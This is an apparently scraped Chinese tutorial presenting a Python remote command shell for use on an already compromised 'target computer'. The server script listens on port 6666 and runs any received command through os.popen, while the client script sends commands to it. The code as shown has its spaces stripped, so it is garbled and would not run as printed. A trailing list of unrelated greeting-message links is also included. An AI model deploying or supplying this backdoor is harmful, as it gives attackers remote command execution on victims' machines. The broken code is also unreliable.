python模拟菜刀反弹shell绕过限制【推荐】
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell
主要用到pythonos库和sokect库
这里的服务端在目标机上运行
fromsocketimport*
fromosimport*
s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
whileTrue:
sock,addr=s.accept()#返回两次第一次返回连接地址二端口号
print('客户端:',addr)
whileTrue:
cmd=sock.recv(1024)#缓存长度接收传递过来
cmdstr=cmd.decode()
ifcmdstr=='exit':
print('客户端:',addr,'关闭')
sock.close()
break
result=popen(cmdstr).read()
sock.send(result.encode())
s.close()
本机运行
fromsocketimport*
fromosimport*
c=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议
c.connect(('127.0.0.1',6666))#连接地址
whileTrue:
cmd=input("cmd:")
c.send(cmd.encode())#必须传递流
ifcmd=='exit':
c.close()
break
data=c.recv(1014)
print(data.decode())
总结
以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!
热门推荐
10 毛笔哥哥结婚祝福语简短
11 向国庆送祝福语简短
12 建队节祝福语简短
13 朋友喜得外孙简短祝福语
14 小店营业的祝福语简短
15 餐饮生日祝福语简短独特
16 鲜花英语祝福语卡片简短
17 男朋友暴富祝福语简短
18 婶婶拜年祝福语大全简短